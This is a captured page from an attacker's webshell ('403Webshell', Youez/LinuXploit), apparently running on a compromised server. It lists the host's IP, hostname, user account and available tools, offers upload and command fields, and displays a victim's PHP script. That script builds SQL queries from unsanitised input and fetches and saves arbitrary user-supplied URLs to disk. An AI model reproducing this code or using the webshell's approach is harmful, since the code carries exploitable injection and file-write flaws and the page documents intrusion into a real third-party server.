403Webshell
Server IP : 103.82.32.14  /  Your IP : 216.73.217.121
Web Server : Apache/2.2.32 (Unix) mod_ssl/2.2.32 OpenSSL/1.0.1e-fips mod_fcgid/2.3.9
System : Linux cloud.lonmanhoabinh.com 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : lonmakmf ( 524)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/rubymnik/public_html/Streamer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/rubymnik/public_html/Streamer/UpdateDonate.php
<?php 
include '../config.php';
header('Access-Control-Allow-Origin: *');
header("Content-Type: application/json"); 
  
$data = json_decode(file_get_contents("php://input")); 
if(!empty($data->jsondonate))
{
	$stringlist = $data->jsondonate;
	$arr = explode("\r\n", $stringlist);
	foreach($arr as $key => $item)
	{
		if(empty($item)) continue;
		$arrget = explode(":lol:", $item);
		$input = $arrget[0];
		$output = "profile/" . $arrget[2] . '.jpg';
		file_put_contents($output, file_get_contents($input));
		$listjson[] = array('avatar' => $arrget[0], 'name' => $arrget[1], 'uid' => $arrget[2], 'donate' => $arrget[3]);
	}
	file_put_contents($data->uid . ".txt", json_encode($listjson));
}
if(!empty($data->jsoncomment))
{
	$stringlist = $data->jsoncomment;
	$arr = explode("\r\n", $stringlist);
	foreach($arr as $key => $item)
	{
		if(empty($item)) continue;
		$arrget = explode(":lol:", $item);
		$input = $arrget[0]; // image
		$result = mysqli_fetch_assoc(Select('StreamerFacebook', false, '`UID` LIKE "'.$arrget[2].'" AND `UserStream` LIKE "' . $data->uid . '"'));
		if($result['UID'] != '')
		{
			$timecomenttinhdiem = $result['TimeComment'] + 600;
			if(time() > $timecomenttinhdiem)
			{
				$demhoatdong = $result['DiemHoatDong']+1;
				Update('StreamerFacebook', array('DiemHoatDong' => $demhoatdong, 'TimeComment' => time()), '`UID` LIKE "'.$result['UID'].'"');
			}
		}
		else
		{
			$output = "profile/" . $arrget[2] . '.jpg';
			if(!file_exists($output))
			{
				file_put_contents($output, file_get_contents($input));
			}
			$infoAccessToken = array(
							'Avatar' => $arrget[0],
							'Name' => $arrget[1],
							'UID' => $arrget[2],
							'DiemHoatDong' => 1,
							'TimeComment' => time(),
							'UserStream' => $data->uid
						);
			Insert('StreamerFacebook', $infoAccessToken);
		}
	}
}
if(!empty($data->jsonhoatdong))
{
	$stringlist = $data->jsonhoatdong;
	$arr = explode("\r\n", $stringlist);
	foreach($arr as $key => $item)
	{
		if(empty($item)) continue;
		$arrget = explode(":lol:", $item);
		$input = $arrget[0]; // image
		$result = mysqli_fetch_assoc(Select('StreamerFacebook', false, '`UID` LIKE "'.$arrget[2].'" AND `UserStream` LIKE "' . $data->uid . '"'));
		if($result['UID'] != '')
		{
			$demhoatdong = $result['DiemHoatDong']+((int)$arrget[4]);
			Update('StreamerFacebook', array('DiemHoatDong' => $demhoatdong, 'TimeComment' => time(), 'NoiDungCongDiem' => $arrget[3], 'Avatar' => $arrget[0], 'Name' => $arrget[1]), '`UID` LIKE "'.$result['UID'].'"');
		}
		else
		{
			$output = "profile/" . $arrget[2] . '.jpg';
			if(!file_exists($output))
			{
				file_put_contents($output, file_get_contents($input));
			}
			$infoAccessToken = array(
							'Avatar' => $arrget[0],
							'Name' => $arrget[1],
							'UID' => $arrget[2],
							'DiemHoatDong' => (int)$arrget[4],
							'TimeComment' => time(),
							'NoiDungCongDiem' => $arrget[3],
							'UserStream' => $data->uid
						);
			Insert('StreamerFacebook', $infoAccessToken);
		}
	}
}
?> 

Youez - 2016 - github.com/yon3zu
LinuXploit